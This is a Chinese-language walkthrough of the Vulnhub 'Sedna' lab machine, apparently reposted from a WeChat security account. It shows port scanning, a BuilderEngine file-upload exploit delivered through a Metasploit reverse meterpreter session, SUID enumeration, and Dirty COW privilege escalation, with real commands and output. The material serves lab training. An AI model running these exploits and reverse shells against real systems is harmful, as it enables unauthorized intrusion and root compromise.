靶机狂魔:Vulnhub Sedna Writeup

admin 2023年11月14日11:43:42评论31 views字数 3724阅读12分24秒阅读模式
  • 靶机狂魔:Vulnhub Sedna Writeup

    • 靶机介绍

    • 信息搜集

    • Get Shell

    • Get Root

    • post-exploitation

靶机介绍

靶机狂魔:Vulnhub Sedna Writeup

该靶机具有4个flag

  • shell * 1

  • root * 1

  • 后渗透阶段 * 2

信息搜集

开局一张图,内容全靠编。

  • 端口扫描

PORT     STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
993/tcp open imaps
995/tcp open pop3s
8080/tcp open http-proxy


  • 目录扫描

靶机狂魔:Vulnhub Sedna Writeup

codeception.yml

paths:
tests: tests
log: tests/_log
data: tests/_data
helpers: tests/_helpers
settings:
bootstrap: _bootstrap.php
suite_class: PHPUnit_Framework_TestSuite
colors: false
memory_limit: 1024M
log: true
modules:
config:
Db:
dsn: ''
user: ''
password: ''
dump: tests/_data/dump.sql


http://192.168.18.216//files/

靶机狂魔:Vulnhub Sedna Writeup

端口扫描还有一个8080端口,打开之后发现是一个Tomcat。开放了manager webapp and the host-manager webapp. 可以用来暴力破解。同时还有SSH服务可用来暴力破解。

使用msf暴力破解tomcat mgr页面,失败。

靶机狂魔:Vulnhub Sedna Writeup

使用hydra 暴力破解 ssh,失败。

继续探索80端口的其他目录,从之前的搜集情况来看,80端口大概率是某个cms,但是具体的不知道。通过这个文件可以知道为BuilderEngine V3

靶机狂魔:Vulnhub Sedna Writeup

https://www.exploit-db.com/exploits/40390
通过查阅资料发现,该cms存在任意文件上传漏洞。

Get Shell

漏洞URL:/themes/dashboard/assets/plugins/jquery-file-upload/server/php/
漏洞参数:files[]
有两种方式,本地构造文件上传的表单,或者使用msf集成的exp。

<html>
<body>
<form method="post" action="http://localhost/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>


https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/multi/http/builderengine_upload_exec.md

msf6 auxiliary(scanner/http/tomcat_mgr_login) > use builderengine_upload_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/builderengine_upload_exec) > set RHOSTS 192.168.18.216
RHOSTS => 192.168.18.216
msf6 exploit(multi/http/builderengine_upload_exec) > check
[*] 192.168.18.216:80 - The target appears to be vulnerable.
msf6 exploit(multi/http/builderengine_upload_exec) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/builderengine_upload_exec) > exploit

[*] Started reverse TCP handler on 192.168.18.218:4444
[+] Our payload is at: qcFgMIDftfRcaF.php. Calling payload...
[*] Calling payload...
[*] Sending stage (39927 bytes) to 192.168.18.216
[+] Deleted qcFgMIDftfRcaF.php
[*] Meterpreter session 1 opened (192.168.18.218:4444 -> 192.168.18.216:58329) at 2023-11-09 22:52:10 +0800


靶机狂魔:Vulnhub Sedna Writeup

获取到shell。当然也可以传一个revere shell 的 php 脚本上去。
获取到第一个flag。

Get Root

机器是Linux,

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;


执行结果:

find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/mtr
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/procmail
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/authbind/helper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/sbin/uuidd
/sbin/mount.cifs
/sbin/mount.nfs


寻找机器上有哪些环境

  • Python

python -V
Python 2.7.6
python3 -V
Python 3.4.0


通过python获取交互shell

python -c 'import pty;pty.spawn("/bin/bash")'


查看Linux内核

www-data@Sedna:/$ uname -a
uname -a
Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
www-data@Sedna:/$


使用msf可以发现存在exp

msf6 > search 3.13.0

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/local/overlayfs_priv_esc 2015-06-16 good Yes Overlayfs Privilege Escalation


但是利用失败。

靶机狂魔:Vulnhub Sedna Writeup

Linux Kernel 2.6.22 < 3.9,可以使用dirty cow进行提权
在具有写权限的目录下远程下载编译好的exp

靶机狂魔:Vulnhub Sedna Writeup

靶机狂魔:Vulnhub Sedna Writeup

打了之后,环境直接崩了。怀疑是exp用错了。
重新用一个就行,https://www.exploit-db.com/exploits/40839

靶机狂魔:Vulnhub Sedna Writeup

拿到root shell之后,

echo 0 /proc/sys/vm/dirty_writeback_centisecs


避免机器崩溃。

post-exploitation

  • Tomcat用户的密码

之前信息搜集时,发现8080是tomcat,其中flag3就是tomcat的密码
etc/tomcat7/tomcat-users.xml.

  • crackmeforpoints密码解密


原文始发于微信公众号(红蓝安全):靶机狂魔:Vulnhub Sedna Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月14日11:43:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶机狂魔:Vulnhub Sedna Writeuphttps://cn-sec.com/archives/2199754.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息